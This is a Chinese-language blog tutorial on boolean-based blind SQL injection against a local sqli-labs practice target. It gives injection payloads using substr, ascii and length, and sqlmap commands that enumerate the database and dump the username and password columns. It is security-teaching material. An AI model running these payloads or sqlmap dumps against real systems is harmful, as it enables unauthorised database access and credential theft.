09、注入篇--盲注【布尔盲注】

利用场景

  • 在有些情况下,后台使用了错误信息屏蔽方法(比如@),屏蔽了报错,
  • 无法在根据报错信息来进行注入的判断,该情况称为"盲注"

表现形式

  • based boolean (布尔盲注)
  • based time(时间盲注)

布尔盲注

  • 传入“”错误“”参数和“正确”参数,观察页面是否发生了变化

所用函数

  • length() 获取字符串的长度

  • substr() 截取字符串

    语法:substr(string,num start,num length)

    string 字符串;start 起始位置(从1开始);截取长度

  • ascii() 把字符转换为ascii码值

靶场

1、进入靶场,只显示了you are in…
在这里插入图片描述
.2、将1改为0,观察页面是否发生了变化
you are in… 这三个单词不见了
页面发生变化
在这里插入图片描述

3、貌似是布尔盲注,通过探测得知为字符型布尔盲注
在这里插入图片描述
在这里插入图片描述

4、使用substr() 探测数据库版本号
本地操作:
在这里插入图片描述

靶场:

http://127.0.0.1/sqli/Less-8/?id=1' and substr(version(),1,1)  = 5-- q

在这里插入图片描述
在这里插入图片描述
5、版本号5.0以上,使用length() 探测数据库名的长度

在这里插入图片描述
在这里插入图片描述
6、得知数据库名长度为8,可进行猜单词,会不会是security,8个字母
使用 substr()、ascii()验证猜想
在这里插入图片描述
得知s字母的在ASCII码表中的数字是115
故可以构造poc

 ascii(substr(database(),0,1))=115

在这里插入图片描述

在这里插入图片描述
可以验证当前数据库名的第一个单词是s,猜想正确

验证第二个
在这里插入图片描述
在这里插入图片描述
第二个单词为e,猜想正确
接下来进行一一猜解
7、知道了数据库名后,又知道版本号为5.0以上版本,故可利用information_schema数据库进行爆出相关数据
利用方法与上一步同理
8、由于一个单词一个单词猜解,过于费时费力,所以可以使用自动化工具SQLMap

SQLMap跑布尔盲注

基本操作

 可以使用 --technique 指定SQLMap探测技术
支持的探测方式有:
 - B: 基于Boolean的盲注(Boolean based blind) 
 - Q: 内联查询(inlin queries) 
 - T:基于时间的盲注(time based blind) 
 - U: 联合查询(union query based) 
 - E: 错误(errorbased) 

1、由于已经知道存在 布尔盲注

python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B --current-db

得出当前数据库名security
在这里插入图片描述

2、跑security数据库下的表面

python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security 
--tables

在这里插入图片描述

3、跑出 users表下的字段名

python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security -T users --columns

在这里插入图片描述

4、跑出id、username、password的数据

python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security -T users 
-C id,username,password --dump

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
当使用Burp Suite进行SQL注入漏洞测试时,布尔盲注是一种常用的技术之一。布尔盲注是一种盲注攻击技术,它通过在SQL查询中使用布尔逻辑来确定数据库中的信息。以下是一些步骤来测试布尔盲注漏洞: 1. 配置Burp Suite:首先,确保已正确配置Burp Suite以拦截和修改HTTP请求和响应。您可以在Burp Suite的Proxy选项卡下设置代理,并根据需要配置浏览器或应用程序以使用该代理。 2. 找到注入点:使用Burp Suite的Spider或Repeater工具来找到潜在的注入点。这可以是URL参数、表单字段或Cookie值等。 3. 构造注入语句:使用布尔盲注技术,构造适当的注入语句来测试漏洞。例如,您可以尝试通过在WHERE子句中使用布尔逻辑来判断条件是否为真或假来确定数据库中的信息。 4. 检测响应差异:发送经过注入处理的请求,并观察响应是否有所不同。如果响应正常,可能意味着注入失败;如果响应出现错误或有其他差异,可能意味着注入成功。 5. 使用布尔逻辑验证条件:根据不同的响应,使用布尔逻辑来验证条件是否为真或假。例如,您可以通过在注入语句中使用AND或OR运算符来检查条件。 6. 执行进一步的测试:根据验证的结果,您可以进一步探测和利用漏洞。使用Burp Suite的其他工具和插件来自动化和加快测试过程。 请注意,在进行任何安全测试之前,确保您已获得适当的授权,并仅在合法范围内进行测试。此外,始终遵循道德黑客和安全测试的最佳实践。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值